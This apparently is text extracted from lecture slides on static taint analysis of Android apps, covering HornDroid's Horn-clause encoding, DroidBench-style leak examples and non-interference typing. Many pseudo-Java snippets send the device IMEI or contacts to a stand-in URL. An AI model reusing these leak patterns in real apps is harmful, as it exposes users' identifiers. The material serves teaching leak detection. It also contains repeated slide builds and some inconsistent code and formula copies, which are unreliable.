        i.putExtra("DroidBench", imei);
        startActivity(i);
    }
}

public class InFlowActivity extends Activity {
    onCreate() {
        Intent i = getIntent();
        String imei = i.getStringExtra("DroidBench");
        send(imei, "http://www.myapp.com/");
    }
}
Inter-Component & Inter-App communication

Intent is resolved from the components name, taint is followed to another activity
Inter-Component & Inter-App communication

Intent is resolved from the components name, taint is followed to another activity
An intent with a secret sent to another app always considered leaky!

```java
public class OutFlowActivity extends Activity {
    public void onCreate()
    String imei = getDeviceId();
    ComponentName cn = new ComponentName("InFlowActivity");
    Intent i = new Intent();
    i.setComponent(cn);
    i.putExtra("DroidBench", imei);
    startActivity(i);
}

public class InFlowActivity extends Activity {
    public void onCreate()
    Intent i = getIntent();
    String imei = i.getStringExtra("DroidBench");
    send(imei, "http://www.myapp.com/");
}
```
```java
public class AppAct extends Activity {
    onCreate() {
        String imei = getDeviceId();
        String obfuscated = "";
        for(int i = 0; i < 10; i++)
            if(i == 9)
                for(char c : imei.toCharArray())
                    obfuscated += c + "_";
        send(obfuscated, "http://www.myapp.com/");
    }
}
```
```java
public class AppAct extends Activity {
    public onCreate() {
        String imei = getDeviceId();
        String obfuscated = "";
        for (int i = 0; i < 10; i++)
            if (i == 9)
                for (char c : imei.toCharArray())
                    obfuscated += c + "_";
        send(obfuscated, "http://www.myapp.com/");
    }
}
```
Analysis must terminate in presence of nested loops
public class AppAct extends Activity

    public String s;

    public void onSaveInstanceState()
    {
        s = getDeviceId();
    }

    public void onRestoreInstanceState()
    {
        send(s, "http://www.myapp.com/");
    }

public class AppAct extends Activity
    public String s;
    public void onSaveInstanceState(){
        s = getDeviceId();
    }

    public void onRestoreInstanceState(){
        send(s, "http://www.myapp.com/");
    }
}
This example is simple, but lifecycle events can create infinite action sequences
public class AppAct extends Activity{

    onCreate() {
        String imei = getDeviceId();
        Class c = Class.forName("ReflectiveClass");
        Object o = c.newInstance();
        Method m = c.getMethod("setIme" + "i",
                String.class);
        m.invoke(o, imei);
        Method m2 = c.getMethod("getIme");
        String s = (String) m2.invoke(o);
        send(s, "http://www.myapp.com/");
    }

}
public class AppAct extends Activity{
    public void onCreate()
    {
        String imei = getDeviceId();
        Class c = Class.forName("ReflectiveClass");
        Object o = c.newInstance();
        Method m = c.getMethod("setImei" + "i",
            String.class);
        m.invoke(o, imei);
        Method m2 = c.getMethod("getImei");
        String s = (String) m2.invoke(o);
        send(s, "http://www.myapp.com/");
    }
}

public class ReflectiveClass {
    private String imei = "";
    public void setImei(String imei) {
        this.imei = imei;
    }
    public String getImei() {
        return this.imei;
    }
}
Reflection

Reflective invocations of methods lead to a leak; method name is computed (string analysis)
```
public class AppAct extends Activity{
    public void onCreate() {
        new MyThread(getDeviceId()).start();
    }

    private class MyThread extends Thread {
        private final String deviceId;
        public MyThread(String deviceId) {
            this.deviceId = deviceId;
        }
        public void run() {
            send(deviceId, "http://www.myapp.com/");
        }
    }
}
```
public class AppAct extends Activity{
    onCreate() {
        new MyThread(getDeviceId()).start();
    }
    private class MyThread extends Thread {
        private final String deviceId;
        public MyThread(String deviceId) {
            this.deviceId = deviceId;
        }
        public void run() {
            send(deviceId, "http://www.myapp.com/");
        }
    }
}
public class AppAct extends Activity{
    
    onCreate() {
        
        new MyThread(getDeviceId()).start();
    
    }

    private class MyThread extends Thread {

        private final String deviceId;

        public MyThread(String deviceId) {
        
            this.deviceId = deviceId;
        
        }

        public void run() {

            send(deviceId, "http://www.myapp.com/");

        }

    }

}
Malicious apps may use sophisticated techniques to detect emulators (not an issue for static analysers)
HornDroid
[Calzavara, Grishchenko, Maffei - EuroS&P'16]

• Predicate abstraction:
  • Bytecode semantics abstracted into Horn clauses
  • Security properties as queries, automatically verified with Z3 (state-of-the-art SMT-Solver)

• Reachability analysis: value-, flow-, and context-sensitive

• Flexibility
  • can leverage any SMT solver
  • refine precision by tweaking Horn clause generation, without touching SMT solver
  • can handle arbitrary reachability queries
  • we encode a taint analysis

• Formal proof of soundness against a precise semantic model
Concrete Semantics

(R-BINOP)
\[
\begin{align*}
\ell &= \Sigma[r_1] \uplus \Sigma[r_2] \\
H' &= R[r_{d \mapsto v}] \\
\Sigma, \text{binop}_\oplus r_d r_1 r_2 \downarrow \Sigma^+[R \mapsto R']
\end{align*}
\]

(R-NEWOBJ)
\[
\begin{align*}
\ell &= \Sigma[r_1] \\
H' &= H[l \mapsto o] \\
R' &= R[r_{d \mapsto v}] \\
\Sigma, \text{new } r_d c' \downarrow \Sigma^+[H \mapsto H', R \mapsto R']
\end{align*}
\]

(R-NEWARR)
\[
\begin{align*}
\alpha &= \tau[(0, \ell)^{\leq \text{loc}}] \\
\ell &= p_{c,m,pc} \notin \text{dom}(H) \\
H' &= H[l \mapsto a] \\
R' &= R[r_{d \mapsto \ell}] \\
\Sigma, \text{newarray } r_d r_1 \tau \downarrow \Sigma^+[H \mapsto H', R \mapsto R']
\end{align*}
\]

(R-CAST)
\[
\begin{align*}
\ell &= \Sigma[r_s] \\
\text{type}_H(\ell) &\leq \tau \\
R' &= R[r_{d \mapsto \ell}] \\
\Sigma, \text{cast } r_s \tau \downarrow \Sigma^+[H \mapsto H', R \mapsto R']
\end{align*}
\]

(R-INSTOFFALSE)
\[
\begin{align*}
\ell &= \Sigma[r_s] \\
\text{type}_H(\ell) &\leq \tau \\
R' &= R[r_{d \mapsto \text{false}}] \\
\Sigma, \text{instof } r_d r_s \tau \downarrow \Sigma^+[H \mapsto H', R \mapsto R']
\end{align*}
\]

(R-INSTOFTRUE)
\[
\begin{align*}
\ell &= \Sigma[r_s] \\
\text{type}_H(\ell) &\leq \tau \\
R' &= R[r_{d \mapsto \text{true}}] \\
\Sigma, \text{instof } r_d r_s \tau \downarrow \Sigma^+[H \mapsto H', R \mapsto R']
\end{align*}
\]

(R-RETURN)
\[
\begin{align*}
\alpha &= \langle c, m, pc \cdot \cdots \cdot R \rangle :: \langle pp' \cdot v^* \cdot st^* \cdot R' \rangle :: \alpha' \\
\alpha'' &= \langle pp', v^* \cdot st^* \cdot R'[r_{rel} \mapsto \Sigma[r_{rel}]] \rangle :: \alpha' \\
\Sigma, \text{return } \downarrow \Sigma[\alpha \mapsto \alpha'']
\end{align*}
\]

(R-SCALL)
\[
\begin{align*}
\text{lookup}(c', m') &= (c', s t^*) \\
\text{sign}(c', m') &= \tau_1, \ldots, \tau_n \\
R' &= ((r_j \mapsto 0)^{\leq \text{loc}} \cdot (r_{loc+k} \mapsto \Sigma[r_k]^{k \leq n})) \\
\alpha'' &= \langle c', m', 0 \cdot (\Sigma[r_k]^{k \leq n} \cdot s t^* \cdot R') \rangle :: \alpha' \\
\Sigma, \text{sinvoke } c' m' r_1, \ldots, r_n \downarrow \Sigma[\alpha \mapsto \alpha'']
\end{align*}
\]

(R-CALL)
\[
\begin{align*}
\ell &= \Sigma[r_s] \\
\text{lookup}(\text{type}_H(\ell), m') &= (c', s t^*) \\
\text{sign}(c', m') &= \tau_1, \ldots, \tau_n \\
R' &= ((r_j \mapsto 0)^{\leq \text{loc}} \cdot (r_{loc+k} \mapsto \Sigma[r_k]^{k \leq n})) \\
\alpha'' &= \langle c', m', 0 \cdot (\Sigma[r_k]^{k \leq n} \cdot s t^* \cdot R') \rangle :: \alpha' \\
\Sigma, \text{invoke } r_s m' r_1, \ldots, r_n \downarrow \Sigma[\alpha \mapsto \alpha'']
\end{align*}
\]

(R-NEWINTENT)
\[
\begin{align*}
i &= \{\emptyset \circ c'; \} \\
\ell &= p_{c,m,pc} \notin \text{dom}(H) \\
H' &= H[l \mapsto i] \\
R' &= R[r_{d \mapsto \ell}] \\
\Sigma, \text{newintent } r_d c' \downarrow \Sigma^+[H \mapsto H', R \mapsto R']
\end{align*}
\]

(R-PUTEXTRA)
\[
\begin{align*}
\ell &= \Sigma[r_s] \\
i &= H(\ell) \\
k &= \Sigma[r_k] \\
H' &= H[l \mapsto i[k \mapsto v]] \\
\Sigma, \text{put-extra } r_i r_k r_v \downarrow \Sigma^+[H \mapsto H']
\end{align*}
\]

(R-GETEXTRA)
\[
\begin{align*}
\ell &= \Sigma[r_s] \\
k &= \Sigma[r_k] \\
H(\ell) &= i \\
\text{type}_H(i,k) &\leq \tau \\
v &= i.k \\
R' &= R[r_{rel} \mapsto v] \\
\Sigma, \text{get-extra } r_i r_k \tau \downarrow \Sigma^+[R \mapsto R']
\end{align*}
\]
// c.m
...
12 invoke c’ m’ r_3 , r_2
13 ...

// c’ . m’
...
24.goto 27
25....
26....
27 move r_1 r_2
28 return

R_{c,m,12}(\text{args}_{\text{caller}}, v_1, ..., v_k; v_{res}) \Rightarrow R_{c’,m’,0}(r_3, r_2; 0,...0,r_3,r_2; 0)

R_{c’,m}(\text{args}_{\text{caller}}; \text{res}_{new}) \Rightarrow R_{c,m,13}(\text{args}_{\text{caller}}, v_1, ..., v_k; \text{res}_{new})
// c.m
...
12 invoke c’ m’ r3, r2
13 ...

// c’.m’
...
24.goto 27
25....
26....
27 move r1 r2
28 return

\[
\begin{align*}
R_{c,m,12}(args_{caller}, v_1, \ldots, v_k; v_{res}) & \Rightarrow R_{c';m',0}(r_3, r_2; 0, \ldots, 0, r_3, r_2; 0) \\
R_{c',m}(args_{caller}; res_{new}) & \Rightarrow R_{c,m,13}(args_{caller}, v_1, \ldots, v_k; res_{new})
\end{align*}
\]
// c.m
...
12 invoke c’ m’ r_3 , r_2
13 ...

// c’.m’
...
24.goto 27
25....
26....
27 move r_1 r_2
28 return

R_{c,m,12}(\text{args}_{\text{caller}}, v_1, \ldots, v_k; v_{\text{res}}) \Rightarrow R_{c’,m’,0}(r_3, r_2; 0, \ldots, 0, r_3, r_2; 0)

R_{c’,m}(\text{args}_{\text{caller}}; \text{res}_{\text{new}}) \Rightarrow R_{c,m,13}(\text{args}_{\text{caller}}, v_1, \ldots, v_k; \text{res}_{\text{new}})

Register content (Value sensitivity)
Result register
// c.m
...
12 invoke c’ m’ r_3, r
13 ...

// c’.m’
...
24.goto 27
25....
26....
27 move r_1 r_2
28 return

\[
R_{c,m,12}(\text{args}_{\text{caller}}, v_1, \ldots, v_k; v_{\text{res}}) \Rightarrow R_{c’;m’;0}(r_3, r_2; 0, \ldots, 0, r_3, r_2; 0)
\]

\[
R_{c’,m}(\text{args}_{\text{caller}}; \text{res}_{\text{new}}) \Rightarrow R_{c,m,13}(\text{args}_{\text{caller}}, v_1, \ldots, v_k; \text{res}_{\text{new}})
\]

Parameterized over program counter (Flow-sensitivity)

Register content (Value sensitivity)

Result register
// c.m
...
12 invoke c’ m’ r₃, r₂
13 ...

// c’.m’
...
24.goto 27
25....
26....
27 move r₁ r₂
28 return

R_{c,m,12}(\text{args}_{\text{caller}}, v₁, ..., v_k; v_{res}) \Rightarrow R_{c’,m’,0}(r₃, r₂; 0,...0,r₃,r₂; 0)
R_{c’,m}(\text{args}_{\text{caller}}; res_{new}) \Rightarrow R_{c,m,13}(\text{args}_{\text{caller}}, v₁, ..., v_k; res_{new})

Caller arguments (Context sensitivity)
Register content (Value sensitivity)
Result register

Parameterized over program counter (Flow-sensitivity)
24. goto 27
25. ...
26. ...
27. move r₁ r₂
28. return
// c.m
 ...
12 invoke c’ m’ r3, r2
13 ...
// c’.m’
 ...
24.goto 27
25....
26....
27 move r1 r2
28 return

R_{c,m,12}(\text{args}_{\text{caller}}, v_1, \ldots, v_k; v_{res}) \Rightarrow R_{c’,m’,0}(r_3, r_2; 0, \ldots, 0, r_3, r_2; 0)

R_{c’,m}(\text{args}_{\text{caller}}; v_{res_{new}}) \Rightarrow R_{c,m,13}(\text{args}_{\text{caller}}, v_1, \ldots, v_k; v_{res_{new}})

R_{c’,m,24}(\text{regs}_c; v_1, \ldots) \Rightarrow R_{c’,m,27}(\text{regs}_c; v_1, \ldots)

\ldots

\ldots

R_{c’,m,27}(\text{regs}_c; v_1, v_2, \ldots) \Rightarrow R_{c’,m,28}(\text{regs}_c; v_1, v_1, \ldots)

R_{c’,m,28}(\text{regs}_c; v_1, \ldots; v_{res}) \Rightarrow R_{c’,m}(\text{regs}_c; v_{res})

Result register at return
// c.m
...
12 invoke c' m' r_3, r_2
13 ...

// c'.m'
...
24.goto 27
25....
26....
27 move r_1 r_2
28 return

R_{c,m,12}(\text{args}_{\text{caller}}, v_1, ..., v_k; v_{res}) \Rightarrow R_{c',m',0}(r_3, r_2, 0, ..., 0, r_3, r_2, 0)

R_{c',m}(\text{args}_{\text{caller}}, \text{res}_{\text{new}}) \Rightarrow R_{c,m,13}(\text{args}_{\text{caller}}, v_1, ..., v_k; \text{res}_{\text{new}})

R_{c',m,24}(\text{regs}_c, v_1, ...) \Rightarrow R_{c',m,27}(\text{regs}_c, v_1, ...)
...
...
R_{c',m,27}(\text{regs}_c, v_1, v_2, ...) \Rightarrow R_{c',m,28}(\text{regs}_c, v_1, v_1, ...)
R_{c',m,28}(\text{regs}_c, v_1, ..., v_{res}) \Rightarrow R_{c',m}(\text{regs}_c, v_{res})
On value sensitivity...

```java
int x = 0;
for (int y = 0; y <= 10; y++) { x++; }
TelephonyManager tm = ...;
String imei = tm.getDeviceId();
if (x == 0) { leak(imei); }
```
On value sensitivity...

```java
int x = 0;
for (int y = 0; y <= 10; y++) { x++; }
TelephonyManager tm = ...
String imei = tm.getDeviceId();
if (x == 0) { leak(imei); }
```
On value sensitivity...

```java
int x = 0;
for (int y = 0; y <= 10; y++) { x++; }
TelephonyManager tm = ...
String imei = tm.getDeviceId();
if (x == 0) { leak(imei); }
```

- Rejected by the other state-of-the-art Android static analysers
- VS also useful to reason about reflection, dictionary-like containers (e.g., Intents), etc.
// c.m
...
19 new-intent r_5 i
20 ...
21 ...
22 put-extra r_5 r_3 r_1
23 ...

// c'.m'
...
55 get-extra r_6 r_1 \tau
56 ...
Intent type (e.g., activity name)
// c.m
...
19 new-intent \( r_5 \) \( i \)
20 ...
21 ...
22 put-extra \( r_5 \) \( r_3 \) \( r_1 \)
23 ...

// c’.m’
...
55 get-extra \( r_6 \) \( r_1 \) \( \tau \)
56 ...
Intent type (e.g., activity name)

// c.m
...
19 new-intent r₅ i
20 ...
21 ...
22 put-extra r₅ r₃ r₁
23 ...

Intent, field, arg

// c’.m’
...
55 get-extra r₆ r₁ τ
56 ...
// c.m
... 19 new-intent r_5 i 20 ...
21 ...
22 put-extra r_5 r_3 r_1 23 ...

// c'.m'
... 55 get-extra r_6 r_1 \tau 56 ...

\[ H(\lambda; i; \emptyset) \]
\[ R_{c,m,19}(\ldots; \nu_1, \ldots, \nu_k; \ldots) \Rightarrow R_{c,m,20}(\ldots; \nu_1, \ldots, \nu_4, \lambda, \ldots, \nu_k; \ldots) \]
\[ R_{c,m,22}(\ldots; \nu_1, \ldots, \nu_k; \ldots) \Rightarrow R_{c,m,23}(\ldots; \nu_1, \ldots, \nu_k; \ldots) \]
\[ R_{c,m,22}(\ldots; \nu_1, \ldots, \nu_4, \lambda', \ldots, \nu_k; \ldots) \land H(\lambda'; i'; \mathcal{V}) \Rightarrow H(\lambda'; i'; \mathcal{V} \cup \{\nu_1\}) \]
// c.m
...
19 new-intent $r_5$ i
20 ...
21 ...
22 put-extra $r_5$, $r_3$, $r_1$
23 ...

// c'.m'
...
55 get-extra $r_6$, $r_1$, $\tau$
56 ...

\begin{align*}
H(\lambda, i; \emptyset) \\
R_{c,m,19}(\ldots ; v_1, \ldots, v_k; \ldots) &\Rightarrow R_{c,m,20}(\ldots ; v_1, \ldots, v_4, \lambda, \ldots, v_k; \ldots) \\
R_{c,m,22}(\ldots ; v_1, \ldots, v_k; \ldots) &\Rightarrow R_{c,m,23}(\ldots ; v_1, \ldots, v_k; \ldots) \\
R_{c,m,22}(\ldots ; v_1, \ldots, v_4, \lambda', \ldots, v_k; \ldots) \land H(\lambda'; i'; V) &\Rightarrow H(\lambda'; i'; V \cup \{v_1\})
\end{align*}
Intent type (e.g., activity name)

// c.m
...
19 new-intent r₅ i
20 ...
21 ...
22 put-extra r₅ r₃ r₁
23 ...

Intent, field, arg

Heap abstraction independent of the program counter (flow insensitivity)

H(λ,i;{})

Rᶜ,m,₁₉(...;v₁,...,vₖ; ...) ⇒ Rᶜ,m,₂₀(...; v₁,...,v₄,λ,...,vₖ; ...)

Rᶜ,m,₂₂(...;v₁,...,vₖ; ...) ⇒ Rᶜ,m,₂₃(...;v₁,...,vₖ; ...)

Rᶜ,m,₂₂(...;v₁,...,v₄,λ',...,vₖ; ...) ∧ H(λ';i'; V) ⇒ H(λ';i'; V ∪ {v₁})
Intent type (e.g., activity name)

// c.m
...
19 new-intent \( r_5 i \)
20 ...
21 ...
22 put-extra \( r_5 r_3 r_1 \)
23 ...

Intent, field, arg

Heap abstraction independent of the program counter (flow insensitivity)

\[
H(\lambda; i; \emptyset)
\]

\[
R_{c,m,19}(\ldots; v_1, \ldots, v_k; \ldots) \Rightarrow R_{c,m,20}(\ldots; v_1, \ldots, v_4, \lambda, \ldots, v_k; \ldots)
\]

\[
R_{c,m,22}(\ldots; v_1, \ldots, v_k; \ldots) \Rightarrow R_{c,m,23}(\ldots; v_1, \ldots, v_k; \ldots)
\]

\[
R_{c,m,22}(\ldots; v_1, \ldots, v_4, \lambda', \ldots, v_k; \ldots) \land H(\lambda'; i'; \forall) \Rightarrow H(\lambda'; i'; \forall \cup \{v_1\})
\]

New abstract location

Intent object’s new value (field insensitivity)

// c’.m’
...
55 get-extra \( r_6 r_1 \tau \)
56 ...

Heap abstraction independent of the program counter (flow insensitivity)
Intent type
(e.g., activity name)

// c.m
...
19 new-intent r_5 i
20 ...
21 ...
22 put-extra r_5 r_3 r_1
23 ...

Intent, field, arg

Heap abstraction independent of the program counter (flow insensitivity)

H(\lambda;i;\emptyset)

R_{c,m,19}(\ldots;v_1,\ldots,v_k;\ldots) \Rightarrow R_{c,m,20}(\ldots;v_1,\ldots,v_4,\lambda,\ldots,v_k;\ldots)

R_{c,m,22}(\ldots;v_1,\ldots,v_k;\ldots) \Rightarrow R_{c,m,23}(\ldots;v_1,\ldots,v_k;\ldots)

R_{c,m,22}(\ldots;v_1,\ldots,v_4,\lambda',\ldots,v_k;\ldots) \land H(\lambda';i';\forall) \Rightarrow H(\lambda';i';\forall \cup \{v_1\})

New abstract location

Intent object's new value (field insensitivity)

R_{c',m',55}(\ldots;v_1,\ldots,v_5,\lambda'',\ldots,v_k; res_{old}) \land H(\lambda'';i'';\forall \cup \{val\})

\Rightarrow R_{c',m',56}(\ldots;v_1,\ldots,v_k;val)
// c.m
...
19 new-intent r5 i
20 ...
21 ...
22 put-extra r5 r3 r1
23 ...

// c’.m’
...
55 get-extra r6 r1 τ
56 ...

Intent type
(e.g., activity name)

Heap abstraction independent of the program counter
(flow insensitivity)

New abstract location

\( R_{c,m,19}(\ldots; v_1,\ldots,v_k; \ldots) \Rightarrow R_{c,m,20}(\ldots; v_1,\ldots,v_4,\lambda,\ldots,v_k; \ldots) \)

\( R_{c,m,22}(\ldots; v_1,\ldots,v_k; \ldots) \Rightarrow R_{c,m,23}(\ldots; v_1,\ldots,v_k; \ldots) \)

\( R_{c,m,22}(\ldots; v_1,\ldots,v_4,\lambda’,\ldots,v_k; \ldots) \land H(\lambda’; i’; V) \Rightarrow H(\lambda’; i’; V \cup \{v_1\}) \)

 Intent object’s new value
(field insensitivity)

\( R_{c’,m’;55}(\ldots; v_1,\ldots,v_5,\lambda”’,\ldots,v_k; res_{old}) \land H(\lambda”; i”; V \cup \{val\}) \Rightarrow R_{c’,m’;56}(\ldots; v_1,\ldots,v_k; val) \)

Intent object’s value stored in the result register

Intent, field, arg

Heap abstraction independent of the program counter
(flow insensitivity)
Flow-sensitivity for the heap

• To retain soundness we chose to be flow-insensitive on the heap...

• But this is often too imprecise

```
public class Anon extends Activity {
  Contact[] m = new Contact[]();
  onStart() {
    for (int i = 0; i < contacts.length(); i++) {
      Contact c = contacts.getContact(i);
      c.phone = anonymise(c.phone);
      m[i] = c;
    }
    send(m, "http://www.cool-apps.com/");
  }
}
```
Flow-sensitivity is dangerous

```java
1 public class Leaky extends Activity {
2     Storage st = new Storage();
3     Storage st2 = new Storage();
4     onRestart() { st2 = st; }
5     onResume() { st2.s = getDeviceId(); }
6     onPause() { send(st.s, "http://www.myapp.com/"); }
7 }
```

- Leak not detected by other tools (e.g., FlowDroid)
Can we retain precision and be at the same time sound?

We adapt ideas from recency abstraction, using them for the first time in a concurrent setting.
Key ideas

• A thread can influence the run-time behaviour of another thread only if they share memory

• Thus, we use two heap abstractions

  • flow-sensitive FS(λ) with strong updates as long as thread is executed in isolation (each abstract object abstracts a single concrete object)

  • flow-insensitive NFS(λ) with weak updates as soon as the thread shares data or the analysis enters a loop (each abstract object abstracts a set of concrete objects)
public class Leaky extends Activity {
    H(1, {Leaky; st \mapsto NFS(2), st2 \mapsto NFS(3)})
    // flow-insensitivity on activity object
    Storage st = new Storage();
    H(2, {Storage; s \mapsto ""}) // after the constructor
    Storage st2 = new Storage();
    H(3, {Storage; s \mapsto ""}) // after the constructor
    onRestart() { st2 = st; }
    H(1, {Leaky; st \mapsto NFS(2), st2 \mapsto NFS(2)}) // aliasing
    onResume() { st2.s = getDeviceId(); }
    H(2, {Storage; s \mapsto id}) \land H(3, {Storage; s \mapsto id})
    // due to flow-insensitivity on activity object
    onPause() { send(st.s, "http://www.myapp.com/");
        Sink(""), Sink(id) // leak is detected
    }
Verifying the example

```java
public class Anon extends Activity {
    H(1, {Anon; m \rightarrow NFS(2)})
    // flow-insensitivity on activity object
    Contact[] m = new Contact[]();
    H(2, []) // new empty array is created
    onStart() {
        LState3(c \leftarrow null; 5 \rightarrow ⊥)
        // no allocated contact at location 5 yet
        for (int i = 0; i < contacts.length(); i++) {
            LState4(c \leftarrow null; 5 \rightarrow ⊥) \land LState4(c \leftarrow NFS(5); 5 \rightarrow ⊥)
            // loop invariant (see below)
            Contact c = contacts.getContact(i);
            LState5(c \leftarrow FS(5); 5 \rightarrow oc) // flow-sensitivity
            c.phone = anonymise(c.phone);
            LState6(c \leftarrow FS(5); 5 \rightarrow oc{phone \rightarrow ""}) // strong update
            m[i] = c;
            LState7(c \leftarrow NFS(5); 5 \rightarrow ⊥) \land H(5, oc{phone \rightarrow ""}) \land
            H(2, [NFS(5)]) // lifting is performed
        }
        send(m, "http://www.cool-apps.com/");
        Sink([oc{phone \rightarrow ""}]) // no leak is detected
    }
}
```
Implementation

- Translate the bytecode into a set of Horn clauses
- Formulate reachability properties as queries
- Discharge them using Z3, an off-the-shelf SMT solver developed by Microsoft Research
  - fixpoint engine, which automatically computes loop invariants

https://www.sps.cs.uni-saarland.de/horndroid
Soundness (True Positive Rate) = \frac{TP}{TP + FN}
Precision (False Negative Rate) = \frac{TN}{TN + FP}

Sound, and yet more precise and orders of magnitude faster!
**FShorNDroid**

A Static Analysis Tool!

We present FShorNDroid, the first static analysis tool for Android applications which is both flow-sensitive on the heap and provably sound with respect to a rich formal model of the Android platform. We formulate the analysis as a set of Horn clauses defining a sound over-approximation of the semantics of the Android application to analyse, borrowing ideas from recency abstraction and extending them to a concurrent setting.
Tool: HornDroid

ANALYZE YOUR APP

Upload APK: ObjectSensitivity2.apk

Toggle Options
- Precise query results
- Flow insensitive heap
- Sensitive heap for methods with call to sink
- Stop after first leak
- Sensitive array indexes

Bit Vector Size: 64

Report Id | Submitted APK          | Status
----------|------------------------|--------
6af75aee-f0df-418e-a8d4-afdbec0b66d0 | ObjectSensitivity2.apk | Click to View
<table>
<thead>
<tr>
<th>Test Description</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Test if register 2 leaks at line 46 in method <code>onCreate()</code> of the class <code>Lde/ecspire/FieldSensitivity3</code>; to the sink <code>sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V</code></td>
<td>NO LEAK</td>
</tr>
<tr>
<td>Test if register 3 leaks at line 46 in method <code>onCreate()</code> of the class <code>Lde/ecspire/FieldSensitivity3</code>; to the sink <code>sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V</code></td>
<td>POTENTIAL LEAK</td>
</tr>
<tr>
<td>Test if register 4 leaks at line 46 in method <code>onCreate()</code> of the class <code>Lde/ecspire/FieldSensitivity3</code>; to the sink <code>sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V</code></td>
<td>NO LEAK</td>
</tr>
<tr>
<td>Test if register 5 leaks at line 46 in method <code>onCreate()</code> of the class <code>Lde/ecspire/FieldSensitivity3</code>; to the sink <code>sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V</code></td>
<td>NO LEAK</td>
</tr>
<tr>
<td>[REF] Test if register 0 leaks at line 46 in method <code>onCreate()</code> of the class <code>Lde/ecspire/FieldSensitivity3</code>; to the sink <code>sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V</code></td>
<td>NO LEAK</td>
</tr>
</tbody>
</table>
Funny Videos 2017

Karaoke Love Music Tales for children  Entertainment

USK: All ages

Contains ads

This app is compatible with all of your devices.

Add to Wishlist  Install
20.4.2017

English version

Lieber Kundin,
lieber Kunde,


Dabei handelte es sich um die App „Funny Videos 2017“.

Wenn Sie die App aus dem Google play-store auf Ihrem Android-Smartphone installiert haben, empfehlen wir dringend
- diese umgehend zu löschen
- das Smartphone auf Trojaner zu untersuchen
- um Kontaktaufnahme mit dem Helpdesk für das Digitale Banking unseres s ServiceCenters unter Tel. 05 0100 - 50200

Details und wichtige Hinweise wie Sie Ihr Android-Smartphone schützen sollten!

Freundliche Grüße

Ihr Digitales Banking–Team
Other formal security analysis techniques for Android apps...
Non-interference by typing
(bird’s eye view)

• First, classify expressions by saying that an expression is $H$ if it contains any $H$ variables; otherwise it is $L$.

• Next, prevent explicit flows by forbidding a $H$ expression from being assigned to a $L$ variable.

• Finally, prevent implicit flows by forbidding a guarded command with a $H$ guard from assigning to $L$ variables.
Typing rules for expressions

\[ \text{Exp-High} \]
\[ exp : H \]

\[ \text{Exp-Low} \]
\[ h \notin Vars(exp) \]
\[ exp : L \]

• Any expression can be typed \( H \)

• An expression is \( L \) if it does not contain \( H \) variables
Typing rules for atomic commands

- The empty command is typeable in any context
- Assignments to $L$ variables are only typeable in context $L$
- Assignments to $H$ variables can be typed in any context
- $[pc] \vdash e$ means that only variables of level $pc$ (or higher) are assigned in $e$
Typing rules for compound commands

\[
\text{Sub} \quad \begin{array}{c}
[H] \vdash c \\
[L] \vdash c
\end{array}
\]

\[
\text{Compose} \quad \begin{array}{c}
[pc] \vdash c_1 \\
[pc] \vdash c_2
\end{array} \Rightarrow [pc] \vdash c_1 ; c_2
\]

\[
\text{If} \quad e : pc \quad \begin{array}{c}
[pc] \vdash c_1 \\
[pc] \vdash c_2
\end{array} \Rightarrow [pc] \vdash \text{if } e \text{ then } c_1 \text{ else } c_2
\]

\[
\text{While} \quad e : pc \quad [pc] \vdash c \Rightarrow [pc] \vdash \text{while } e \text{ do } c
\]
Typing rules for compound commands

\[ \text{SUB} \]
\[
\begin{array}{c}
\text{[H]} \vdash c \\
\hline
\text{[L]} \vdash c
\end{array}
\]

\[ \text{COMPOSE} \]
\[
\begin{array}{c}
\text{[pc]} \vdash c_1 \\
\hline
\text{[pc]} \vdash c_2
\end{array}
\]
\[
\text{[pc]} \vdash c_1 ; c_2
\]

\[ \text{IF} \]
\[
\begin{array}{c}
e : pc \\
\hline
\text{[pc]} \vdash \text{if } e \text{ then } c_1 \text{ else } c_2
\end{array}
\]

\[ \text{WHILE} \]
\[
\begin{array}{c}
e : pc \\
\hline
\text{[pc]} \vdash \text{while } e \text{ do } c
\end{array}
\]

branches with a H guard must be typeable in a H context
Examples

\[\text{[low]} \ ? \ h := l + 4; \ l := l - 5\]

\[\text{[pc]} \ ? \ \text{if } h \ \text{then } h := h + 7 \ \text{else skip}\]

\[\text{[low]} \ ? \ \text{while } l < 34 \ \text{do } l := l + 1\]

\[\text{[pc]} \ ? \ \text{while } h < 4 \ \text{do } l := l + 1\]
Examples

\[ \text{[low]} \leftarrow h := l + 4; \ l := l - 5 \]

\[ \text{[pc]} \ ? \ \text{if} \ h \ \text{then} \ h := h + 7 \ \text{else} \ \text{skip} \]

\[ \text{[low]} \ ? \ \text{while} \ l < 34 \ \text{do} \ l := l + 1 \]

\[ \text{[pc]} \ ? \ \text{while} \ h < 4 \ \text{do} \ l := l + 1 \]
Examples

[low] ⊢ h := l + 4; l := l - 5

[pc] ⊢ if h then h := h + 7 else skip

[low] ? while l < 34 do l := l + 1

[pc] ? while h < 4 do l := l + 1
Examples

[low] \leftarrow h := l + 4; l := l - 5

[pc] \leftarrow \text{if } h \text{ then } h := h + 7 \text{ else skip}

[low] \leftarrow \text{while } l < 34 \text{ do } l := l + 1

[pc] \text{ while } h < 4 \text{ do } l := l + 1
Examples

\[ \text{[low]} \vdash h := l + 4; \ l := l - 5 \]

\[ \text{[pc]} \vdash \text{if } h \text{ then } h := h + 7 \text{ else skip} \]

\[ \text{[low]} \vdash \text{while } l < 34 \text{ do } l := l + 1 \]

\[ \text{[pc]} \vdash \text{while } h < 4 \text{ do } l := l + 1 \]
Type inference: example
• Similar ideas have been further refined and developed in the context of Java bytecode [Barthe et al. '07]

• Cassandra adapts these techniques into the context of Dalvik bytecode
DroidFace
[Schoepe, Balliu, Piessens, and Sabelfeld - Esorics’16]

- Dynamic taint tracking that does not track taints :=)

- Shadow memories to represent tainted and untainted views

